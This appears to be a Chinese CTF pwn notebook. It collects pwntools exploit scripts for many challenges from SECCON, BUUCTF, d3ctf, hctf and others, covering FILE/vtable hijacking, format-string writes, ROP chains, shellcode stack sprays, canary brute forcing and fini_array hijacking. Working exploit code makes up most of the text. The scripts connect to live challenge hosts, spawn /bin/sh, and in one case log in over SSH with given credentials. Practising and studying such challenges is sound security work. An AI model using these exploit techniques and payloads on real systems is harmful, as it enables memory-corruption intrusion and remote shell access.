1 2 3 4 5 6 7 8 9 10 11 12 #define  symbol_set_first_element(set)	((void *const *) (&__start_##set)) #define  symbol_set_end_p(set, ptr) ((ptr) >= (void *const *) &__stop_##set) # define  RUN_HOOK(NAME, ARGS)						      \ do {									      \   void *const *ptr;						      \   for (ptr = (void *const *) symbol_set_first_element (NAME);		      \        ! symbol_set_end_p (NAME, ptr); ++ptr)				      \     (*(__##NAME##_hook_function_t *) *ptr) ARGS;			      \ } while (0) int  main () {    RUN_HOOK (__libc_atexit, ()); } 
gcc 1.c -E
1 2 3 4 5 6 7 int  main () {    do  {  void  *const  *ptr= (void  *const  *) ((void  *const  *) (&__start___libc_atexit)); for  (; ptr<(void  *const  *) &__stop___libc_atexit; ++ptr) (*(____libc_atexit_hook_function_t  *) *ptr) ();  } while  (0 ); } 
&start _libc_atexit就是__libc_atexit的段起始地址
&stop _libc_atexit就是__libc_atexit的结束地址
IO flush seccon2022-babyfile 见csdn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 #!/usr/bin/python3 #  -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./chall" parm=elf_path elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if len(sys.argv) > 1:     remote_ip = "babyfile.seccon.games"     remote_port =3157     io = remote(remote_ip, remote_port) else:     io = process(parm) def flush():     sla("> ", "1") def modify(off, val):     sla("> ", "2")     sla("offset: ", str(off))     sla("value: ", str(val)) def change(off,val):     for i in range(8):         modify(off,val&0xff)         off+=1         val=val>>8 def ROL(content, key):     tmp = bin(content)[2:].rjust(64, '0')     return int(tmp[key:] + tmp[:key], 2) modify(0xd8,0xa8) flush() modify(0xd8,0xa0) modify(8*5,0x40)#随便一个,只要保证_IO_write_base!=_IO_write_ptr即可 flush() modify(8*14,1)#fileno modify(8*5,0x78)#wirte_ptr modify(8*4,0x70)#write_base modify(8*2,0x70)#_IO_read_end=write_base flush() libc_base=u64(ru(b"\x7f").ljust(8,b"\x00"))+0x7f60d3a44000-0x7f60d3c2cf60 __pointer_chk_guard_addr=libc_base+0x1f3570#大本地就是0x1f35f0 change(8*5,__pointer_chk_guard_addr+0x8)#write_ptr change(8*4,__pointer_chk_guard_addr)#write_base change(8*2,__pointer_chk_guard_addr)#read_end flush() __pointer_chk_guard=u64(r(8)) _IO_cookie_jumps=libc_base+0x1e8a20 system_addr=libc_base+libc.sym["system"] func_value=ROL(system_addr^__pointer_chk_guard,0x11)#需要异或左移一下 change(0xf0,func_value)#指针的值 change(0xd8,_IO_cookie_jumps+0x18)#修改vtable对到write change(0xe0,libc_base+0x1b45bd-0x100000000)#这里是bin/sh的地址,但不知道为什么它会多0x100000000,所以就减掉了 flush() it() 
scanf espcially_tu_2016 BUUCTF在线评测 (buuoj.cn) 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pop_one_ret=0x0804839d  bss_addr=0x804a300  leave_ret=0x08048488  pop_two_ret=0x0804864e  pop_ebp_ret=pop_two_ret+1  sla(b"What's your name?\n" ,b"a" *0x2c +p32(elf.plt["puts" ])+p32(pop_one_ret)+p32(elf.got["puts" ])+p32(elf.plt["puts" ])+p32(pop_one_ret)+p32(elf.got["puts" ])+p32(0x8048410 )+p32(pop_two_ret)+p32(0x80486AF )+p32(bss_addr)+p32(0x8048410 )+p32(pop_two_ret)+p32(0x80486AF )+p32(bss_addr+8 )+p32(pop_ebp_ret)+p32(bss_addr-4 )+p32(leave_ret)) sla(b"What's your favorite number?\n" ,b"1" ) ru(b"number!\n" ) libc_base=u32(ru(b"\xf7" ))-libc.sym["puts" ] #sleep(1) sl(str(libc_base+libc.sym["system" ]-(1 <<32 ))) sl(str(libc_base+next(libc.search(b"/bin/sh" ))-(1 <<32 ))) #s(p32(libc_base+libc.sym["system" ])+p32(0)+p32(libc_base+next(libc.search(b"/bin/sh" )))) it() 
fclose xman夏令营选排位赛_2018_challenge1 BUUCTF在线评测 (buuoj.cn) 
一个简答利用伪造IO进行的题目
利用点是fclose,通过溢出把stream地址改为我们的bss
由于_IO_un_link不可以伪造,所以0x2000 _IO_IS_FILEBUF 的值,由于flag刚好是io的第一个头,所以2对应的那个bit不可以是1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static  inline  void __attribute__ ((__always_inline__)) _IO_acquire_lock_fct (FILE **p) {   FILE *fp = *p;   if  ((fp->_flags & _IO_USER_LOCK) == 0 )     _IO_funlockfile (fp); } # define  _IO_funlockfile(_fp) \   if  (((_fp)->_flags & _IO_USER_LOCK) == 0)				      \     _IO_lock_unlock (*(_fp)->_lock) #endif  #define  _IO_lock_unlock(_name) \   do {									      \     if  (--(_name).cnt == 0)						      \       {									      \         (_name).owner = NULL;						      \ 	lll_unlock ((_name).lock, LLL_PRIVATE);				      \       }									      \   } while (0) 
所以这里面不能去调用,所以#define **[_IO_USER_LOCK](https://elixir.bootlin.com/glibc/glibc-2.23/C/ident/_IO_USER_LOCK)** 0x8000,所以8对应的这个bit应该为1
这一步无所谓,因为if肯定为false根据第一部的伪造
实际好像release这里没什么效果,因为我确实页没有上锁,跳过了,_IO_FINISH刚好是jmp table里面的所以可以劫持,刚好位于vtable+0x10偏移
所以开始攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 修改stream的地址为我们的伪造 fake_stream = b"a"  * 0x100  + p64(0x6010C0 )#这里因为是gets,所以不能有0  sla(b">" , b"1" ) sl(fake_stream) fake_file = b"a"  * 0xD8  + p64(0x6010C0 )#修改vtable地址 sla(b">" , b"1" )  sl(fake_file) sla(b">" , b"1" ) fake_vtable = b"a"  * 0x10  + p64(0x400897 )#修改function为backdoor sl(fake_vtable) sla(b">" , b"1" ) sl(b"a\x80" )#只用修改这一位为1 就好 sla(b">" , b"3" ) it() 
close d3ctf_2019_unprintablev BUUCTF在线评测 (buuoj.cn) 
覆盖stdin位stderr达到回显一次的目的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from git import RootUpdateProgress from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./d3ctf_2019_unprintablev"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0xF1147 , 0x45216 , 0x4526A , 0xF02A4 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 25356      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *$rebase(0xA20)     b *$rebase(0xB57)     c     set  *(char *)(*(unsigned long int *)$rebase(0x202020)+0x70)=2     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     c     " ""     gdb.attach(io, gdbscript=gdbscript) # 16 ~96  def add(size: int ):     sla(b">> " , b"1" )     sa(b"size: " , str(size).encode()) def free (index: int ):     sla(b">> " , b"3" )     sla(b"offset: " , str(index).encode()) # def show(index: int): #     sla(b"choice :\n" , b"2" ) #     sla(b"input note id: " , str(index).encode()) def edit(index: int , content: bytes):     sla(b">> " , b"2" )     sla(b"age of user: " , str(index).encode())     sa(b"username: " , content) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out ru(b"gift: " ) stack_addr = int (r(14 ), 16 ) ru(b"test!\n" ) s(f"%{(stack_addr&0xff)}c%6$hhn" ) sleep(0.5 ) s(f"%{0x20}c%10$hhn" ) sleep(0.5 ) s(f"%{0x1680}c%9$hn" ) # debug() # 泄露libc s("%15$p+%14$p" ) libc_base = int (r(14 ), 16 ) - libc.sym["__libc_start_main" ] - 231  ru(b"+" ) elf_base = int (r(14 ), 16 ) - elf.sym["__libc_csu_init" ] # 修改ret_addr为leave,ret leave_ret = 0x9F8  + elf_base ret_addr = stack_addr + 0x30  while  leave_ret != 0 :    s(f"%{ret_addr&0xff}c%6$hhn" )     sleep(0.5 )     s(f"%{leave_ret&0xff}c%10$hhn" )     sleep(0.5 )     ret_addr += 1      leave_ret = leave_ret >> 8  buf_addr = 0x202060  + elf_base rbp_addr = stack_addr + 0x28  while  buf_addr != 0 :    s(f"%{rbp_addr&0xff}c%6$hhn" )     sleep(0.5 )     s(f"%{buf_addr &0xff}c%10$hhn" )     sleep(0.5 )     rbp_addr += 1      buf_addr = buf_addr >> 8  # 修复rbp rbp_addr = stack_addr + 0x28  s(f"%{rbp_addr&0xff}c%6$hhn" ) shellcode = f"" "  xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" ././flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,rsp mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" mprotect_addr = libc_base + libc.sym["mprotect" ] pop_rdi_ret = 0xBC3  + elf_base pop_rsi_ret = 0x23E6A  + libc_base pop_rdx_ret = 0x1B96  + libc_base buf_addr = 0x202060  + elf_base payload = (     b"d^3CTF\0\0"      + p64(pop_rdx_ret)     + p64(7 )     + p64(pop_rsi_ret)     + p64(0x1000 )     + p64(pop_rdi_ret)     + p64(buf_addr & 0xFFFFFFFFFFFFF000 )     + p64(mprotect_addr)     + p64(buf_addr + 0x48 )     + asm (shellcode) ) s(payload) it() 
stdin任意地址写 whctf2017_stackoverflow BUUCTF在线评测 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 sa(b"bro:" , b"a"  * 79  + b"b" ) ru(b"b" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["_IO_2_1_stdout_" ] sla(b"stackoverflow: " , str(7100704  - 0x18 ).encode()) sla(b"stackoverflow: " , str(0x300000 ).encode()) sa(b"ropchain: " , b"a" ) malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] sa(b"stackoverflow: " , b"a"  * 0x18  + p64(malloc_hook_addr) + p64(malloc_hook_addr + 8 )) sa(b"padding and ropchain: " , b"a" ) for  i in range(0x27 ):    sa(b"padding and ropchain: " , b"a" ) sa(b"stackoverflow: " , p64(libc_base + 0xF1147 )) it() 
ciscn2018_echo_back BUUCTF在线评测 
修改IO_buf_base,之后再scanf的时候调用___IO_new_file_underflow实现往_IO_buf_base开始写入地址,就可以覆盖到buf_base,buf_ptr.这个时候同时修改他们,指向我们的ret_addr,就可以达到写入rop的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 def setname (name: bytes) :     sa (b"choice>> " , b"1" )      sa (b"name:" , name)  def echoback (payload: bytes) :     sa (b"choice>> " , b"2" )      sla (b"length:" , b"7" )      s (payload)  echoback (b"%19$p" ) ru (b"say:" ) libc_base = int (r(14 ), 16 ) - libc.sym["__libc_start_main" ] - 240  echoback(b"%12$p" ) ru(b"say:" ) ret_addr = int (r(14 ), 16 ) + 8  _IO_2_1_stdin_addr = libc_base + libc.sym["_IO_2_1_stdin_" ] _IO_2_1_stdin_addr__IO_buf_base = _IO_2_1_stdin_addr + 56  setname(p64(_IO_2_1_stdin_addr__IO_buf_base)) echoback(b"%16$hhn" ) sa(b"choice>>" , b"2" ) sa(b"length:" , b"a"  * 0x18  + p64(ret_addr) + p64(ret_addr + 0x20 )) s(b"a" ) for  i in range(0x27 ):    echoback(b"a" ) pop_rdi_ret = 0x21102  + libc_base bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) system_addr = libc_base + libc.sym["system" ] sa(b"choice>>" , b"2" ) sa(b"length:" , p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)) s(b"a" ) sa(b"choice>>" , b"3" ) it() 
劫持_rtld_global函数 _dl_rtld_unlock_recursive hctf2018_the_end BUUCTF在线评测 (buuoj.cn) 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ru(b"gift " ) libc_base = int (r(14 ), 16 ) - libc.sym["sleep" ] ld_base = libc_base + 0x3F1000  ld = ELF("./ld-2.27.so" ) _dl_rtld_unlock_recursive = ld_base + ld.sym["_rtld_global" ] + 0xF08  one_gadget_addr = libc_base + one_gadget[1 ] s(p64(_dl_rtld_unlock_recursive)) s(p8(one_gadget_addr & 0xFF )) s(p64(_dl_rtld_unlock_recursive + 1 )) s(p8((one_gadget_addr >> 8 ) & 0xFF )) s(p64(_dl_rtld_unlock_recursive + 2 )) s(p8((one_gadget_addr >> 16 ) & 0xFF )) s(p64(_dl_rtld_unlock_recursive + 1 )) s(p8((one_gadget_addr >> 8 ) & 0xFF )) s(p64(_dl_rtld_unlock_recursive + 2 )) s(p8((one_gadget_addr >> 16 ) & 0xFF )) sl(b"exec 1>&0" ) it() 
栈 alloca secconctf2016_cheer_msg 这个题目主要是可以把alloca的参数变成负数,这样就会导致栈迁移方向改变,进而在造成溢出
1 2 3 4 5 6 7 8 sla(b"Message Length >> ",str(-0x80)) payload=b"a"*0x10+p32(elf.plt["printf"])+p32(elf.sym["main"])+p32(elf.got["printf"])#main函数栈溢出 sla(b"Name >> ",payload) libc_base=u32(ru(b"\xf7")[-4:])-libc.sym["printf"] sla(b"Message Length >> ",str(-0x80)) payload=b"a"*0x10+p32(libc_base+libc.sym["system"])+b"a"*4+p32(libc_base+next(libc.search(b"/bin/sh\0"))) sla(b"Name >> ",payload) it() 
溢出覆盖关键内容 canary异常处理 checker_seccon_2016 
1 2 3 4 5 6 sla(b"NAME : ",b"a") for i in range(8):     sla(b">>",b"a"*(0x180-i))#清空内容为\x00 sla(b">> ",b"yes") sla(b"FLAG : ",b"a"*0x178+p64(0x6010C0))#这里不清空高位的话会错误 it() 
另一种 pwnable_loveletter 溢出覆盖memcpy长度
1 2 sl(b"nv sh -c bash".ljust(253,b" ")+b"`\x01") it() 
栈喷 1 2 3 4 5 ru(b"Current position: ") stack=int(r(14),16)+0x600 sla(b"> ",asm("nop")*0xf00+asm(shellcraft.sh())) sla(b"> ",hex(stack)[2:]) it() 
比较简单的栈喷
picoctf_2018_gps BUUCTF在线评测 (buuoj.cn) 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ru(b"Current position: " ) stack_addr=int (r(14 ),16 )+0x300  shellcode="" "  xor rdx,rdx; xor rsi,rsi; push rsi; mov rax, 0x68732f2f6e69622f; push rax; mov rdi,rsp; xor rax,rax; mov al,59; syscall " "" sla(b"> " ,b"\x90" *0x900 +asm (shellcode)) sla(b"> " ,hex(stack_addr)[2 :]) it() 
能划入shellcode就好
数组越界 wdb-2022-main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 from  pwn import  *it = lambda : io.interactive() ru = lambda  x: io.recvuntil(x) rud = lambda  x: io.recvuntil(x, drop=True ) r = lambda  x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda  x: io.send(x) sa = lambda  x, y: io.sendafter(x, y) sl = lambda  x: io.sendline(x) sla = lambda  x, y: io.sendlineafter(x, y) elf_path = "./main"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in  libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif  "2.27"  in  libc.path:    one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len (sys.argv) > 1 :    remote_ip = "39.105.108.53"      remote_port =28784      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def  debug ():    global  io          gdbscript = """      b *$rebase(0x145F)     c     x/xg $rebase(0x44C8)     """     gdb.attach(io, gdbscript=gdbscript)    def  add (size,data ):    sl(b"1" )     sa(b"Please enter your data:\n" ,data)     sa(b"ength of your data:\n" ,size)     def  echo (index ):    sl(b"2" )     sla(b"number of your data:\n" ,str (index)) def  free (index ):    sla(b"Your choice : " , b"2" )     sla(b"game's index:\n" ,str (index)) ru(b"Type '3' to exit the program" ) for  i in  range (10 ):    add(b"10" ,b"1" *0x63 +b"1" ) add(b"10\n" ,b"8" *9 +b"\n" ) echo(-3 ) load_addr=u64(rld().ljust(8 ,b"\0" ))+0x5568dd249000 -0x5568dd2496b8  add(b"10\n" ,b"\n" ) ru(b"Your entry number 11 is to large\n" ) for  i in  range (9 ):    add(b"10" ,b"1" *0x63 +b"1" ) add(b"1\n" ,b"1" *0x40 +p32(0xfffffffe )+b"\n" ) printf_addr=load_addr+elf.plt["puts" ] add(b"10\n  " ,b"a" *4 +p32(printf_addr&0xffffffff )+p16((printf_addr>>32 )&0xffff )+b"\n" ) add(b"1\n" ,b"aaaa\n" ) sl(b"4" ) ru(b"will be helpful\n" ) sl(b"2" ) libc_base=u64(rld().ljust(8 ,b"\0" ))-0x7f20043426a0 +0x7f2004155000  sla(b"number of your data:\n" ,b"0" ) for  i in  range (1 ,10 ):    add(b"10" ,b"1" *0x63 +b"1" ) add(b"1\n" ,b"1" *0x40 +p32(0xfffffffe )+b"\n" ) system_addr=libc_base+libc.sym["system" ] add(b"10\n" ,b"a" *4 +p32(system_addr&0xffffffff )+p16((system_addr>>32 )&0xffff )+b"\n" ) add(b"10\n" ,b"/bin/sh\0" ) sl(b"2" ) it() exit(0 ) print (rl())it() 
arr_sun_2016 BUUCTF在线评测 (buuoj.cn) 
表面上看上去无法向下溢出
但是这里汇编实现是可以溢出的
比如说我们像输入v1=0xd
输入0x8000000d就好,这个刚好也是负数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 sa(b"What should I call you? \n" ,b"a" *9 ) sla(b"enter index\n" ,str(0x8000000d -(1 <<32 ))) sla(b"enter value\n" ,str(elf.plt["__isoc99_scanf" ])) pop_2_ret=0x080487ba  sla(b"enter index\n" ,str(0x8000000e -(1 <<32 ))) sla(b"enter value\n" ,str(pop_2_ret)) fmt_s=0x804882F  sla(b"enter index\n" ,str(0x8000000f -(1 <<32 ))) sla(b"enter value\n" ,str(fmt_s)) bss=0x08049B30  sla(b"enter index\n" ,str(0x80000010 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) backdoor=0x804857B  sla(b"enter index\n" ,str(0x80000011 -(1 <<32 ))) sla(b"enter value\n" ,str(backdoor)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sleep(1 ) sl(b"/bin/sh\0" ) it() 
canary爆破 starctf2018_babystack BUUCTF在线评测 (buuoj.cn) 
这个题目比较好,多线程里面canary会被放在栈上,所以可以通过栈溢出修改掉canary的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 def send (payload) :     sla (b"send?\n" , str(len(payload)).encode())      s (payload)  libc = ELF("./libc-2.27.so" ) lenss = 0x1800  while  True:    io = remote("node4.buuoj.cn" , 29614 )     canary = 12333222      payload = b"a"  * 0x1008  + p64(canary) + b"b"  * 8  + p64(0x4009E7 )     payload = payload.ljust(lenss, b"a" )     payload += p64(canary)     send(payload)     rl()     if  b"stack smashing detected"  in rl():         io.close()         lenss += 8      else :         io.close()         break  io = remote("node4.buuoj.cn" , 29614 ) canary = 12333222  pop_rdi_ret = 0x400C03  pop_rsi_r15_ret = 0x400C01  leave_ret = 0x400955  bss_start_addr = 0x602300  payload = (     b"a"  * 0x1008      + p64(canary)     + p64(bss_start_addr - 8 )     + p64(pop_rdi_ret)     + p64(elf.got["puts" ])     + p64(elf.plt["puts" ])     + p64(pop_rdi_ret)     + p64(0 )     + p64(pop_rsi_r15_ret)     + p64(bss_start_addr)     + p64(0 )     + p64(elf.plt["read" ])     + p64(leave_ret) ) payload = payload.ljust(lenss, b"a" ) payload += p64(canary) send(payload) ru(b"\n" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] s(     p64(pop_rdi_ret)     + p64(libc_base + next(libc.search(b"/bin/sh\0" )))     + p64(libc_base + libc.sym["system" ]) ) sleep(0.1 ) sl(b"cat flag" ) it() 
bctf_2018_bugstore BUUCTF在线评测 (buuoj.cn) 
新的利用思路,当知道了libc地址后可以通过爆破修改lts的canary的值
距离libc0x6xx528处,爆破0x100即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 for  i in range (0xFF  + 1 ) :    # io = process(elf_path)      io = remote("node4.buuoj.cn" , 26652 )     sla(b"Your choice: " , b"F" )     s(b"%p%p%p%p%p%p%p%p%plibc:%p" )     ru(b"libc:" )     libc_base = int (r(14 ), 16 ) - 231  - libc.sym["__libc_start_main" ]     offset = 0x600528      offset += i << 12      sla(b"choice: " , b"A" )     tls_canary_addr = libc_base + offset     sl(str(tls_canary_addr))     try:         sla(b"choice: " , b"S" )         one_gadget_addr = one_gadget[1 ] + libc_base         sl(b"a"  * 0x28  + p64(0x45524F5453475542 ) + b"a"  * 8  + p64(one_gadget_addr))         it()     except:         io.close() 
picoctf_2018_buffer overflow 3 BUUCTF在线评测 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * shell = ssh(host="node4.buuoj.cn" , user="CTFMan" , port=26682 , password="guest" ) def brute_force_canary(stack_len: int ):     canary = b""      for  i in range(4 ):         for  j in range(255 ):             payload = b"a"  * stack_len + canary + p8(j)             io = shell.process("./vuln" )             io.sendlineafter(b"Buffer?\n" , b"1000" )             io.sendafter(b"Input> " , payload)             if  b"Stack Smashing Detected"  in io.recvline():                 io.close()             else :                 io.close()                 break          canary += p8(j)     return  canary canary = brute_force_canary(32 ) payload = b"a"  * 32  + canary + b"b"  * 0x10  + p32(0x80486EB ) io = shell.process("./vuln" ) io.sendlineafter(b"Buffer?\n" , b"1000" ) io.sendafter(b"Input> " , payload) io.interactive() 
学到了怎么利用ssh远程执行 牛逼
fini_array pwnable_317 BUUCTF在线评测 (buuoj.cn) 
这个题目很不错,学到了很多
漏洞点很明显,任意地址写,不过这里反汇编有点问题,再写过一次后就会被修改,然后就不可以写了,所以我们的目的就是想多次写
函数执行退出后会去libc_csu_finia
他会调用fini_array[1],fini_array[0]
那么我们如果把fini_array[1]改成main,fini_array[0]改成libc_csu_finial就可以无限执行main里面地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 fini_arr=0x4B40F0  libc_csu_finial=0x402960  main_addr=0X401B6D  sla(b"addr:" ,str(fini_arr)) sla(b"data:" ,p64(libc_csu_finial)+p64(main_addr)) pop_rdi_ret=0x0000000000401696  sla(b"addr:" ,str(fini_arr+0x10 )) sa(b"data:" ,p64(pop_rdi_ret)+p64(fini_arr+0x58 ))#这里我们写入bin/sh pop_rsi_ret=0x0000000000406c30  sla(b"addr:" ,str(fini_arr+0x20 )) sa(b"data:" ,p64(pop_rsi_ret)+p64(0 )) pop_rdx_ret=0x0000000000446e35  sla(b"addr:" ,str(fini_arr+0x30 )) sa(b"data:" ,p64(pop_rdx_ret)+p64(0 )) pop_rax_ret=0x000000000041e4af  sla(b"addr:" ,str(fini_arr+0x40 )) sa(b"data:" ,p64(pop_rax_ret)+p64(59 )) syscall=0x00000000004022b4  sla(b"addr:" ,str(fini_arr+0x50 )) sa(b"data:" ,p64(syscall)+b"/bin/sh\0" ) 
可以看到我们想把栈迁移到fini_array,但为什么能迁移呢
rbp就是我们fini_array的地址,如果我们再fini_array里面执行leave,就可以完成栈迁移了
这里由于我们是循环执行main,所以当我们修改完fini_arrya的时候这里执行的是fini_array[0],所以我们把fini_array[0]变成leave_ret,然后栈迁移,这个时候rsp就是fini_array+8,这个时候把finiarray[1]改成ret,然后就可以进入到后面的pop_ret,fini_array[0]和finiarryay[1]再前面布置的过程中不可以修改
allpayloads
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 fini_arr=0x4B40F0  libc_csu_finial=0x402960  main_addr=0X401B6D  sla(b"addr:" ,str(fini_arr)) sla(b"data:" ,p64(libc_csu_finial)+p64(main_addr)) pop_rdi_ret=0x0000000000401696  sla(b"addr:" ,str(fini_arr+0x10 )) sa(b"data:" ,p64(pop_rdi_ret)+p64(fini_arr+0x58 ))#这里我们写入bin/sh pop_rsi_ret=0x0000000000406c30  sla(b"addr:" ,str(fini_arr+0x20 )) sa(b"data:" ,p64(pop_rsi_ret)+p64(0 )) pop_rdx_ret=0x0000000000446e35  sla(b"addr:" ,str(fini_arr+0x30 )) sa(b"data:" ,p64(pop_rdx_ret)+p64(0 )) pop_rax_ret=0x000000000041e4af  sla(b"addr:" ,str(fini_arr+0x40 )) sa(b"data:" ,p64(pop_rax_ret)+p64(59 )) syscall=0x00000000004022b4  sla(b"addr:" ,str(fini_arr+0x50 )) sa(b"data:" ,p64(syscall)+b"/bin/sh\0" ) leave_ret=0x0000000000401c4b  ret=0x0000000000401016  sla(b"addr:" ,str(fini_arr)) sa(b"data:" ,p64(leave_ret)+p64(ret)) it() 
另一种exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 fini_arr=0x4B40F0  libc_csu_finial=0x402960  main_addr=0X401B6D  sla(b"addr:" ,str(fini_arr)) sla(b"data:" ,p64(libc_csu_finial)+p64(main_addr)) pop_rsi_ret=0x0000000000406c30  sla(b"addr:" ,str(fini_arr+0x18 )) sa(b"data:" ,p64(pop_rsi_ret)+p64(0 )) pop_rdx_ret=0x0000000000446e35  sla(b"addr:" ,str(fini_arr+0x28 )) sa(b"data:" ,p64(pop_rdx_ret)+p64(0 )) pop_rax_ret=0x000000000041e4af  sla(b"addr:" ,str(fini_arr+0x38 )) sa(b"data:" ,p64(pop_rax_ret)+p64(59 )) syscall=0x00000000004022b4  sla(b"addr:" ,str(fini_arr+0x48 )) sa(b"data:" ,p64(syscall)+b"/bin/sh\0" ) leave_ret=0x0000000000401c4b  pop_rdi_ret=0x0000000000401696  sla(b"addr:" ,str(fini_arr)) sa(b"data:" ,p64(leave_ret)+p64(pop_rdi_ret)+p64(fini_arr+0x50 )) it() 
ciscn_2019_sw_1 BUUCTF在线评测 
利用格式化字符串修改fini_array为main地址从而劫持控制流,同时修改got表,然后第二次直接输入/bin/sh就可以
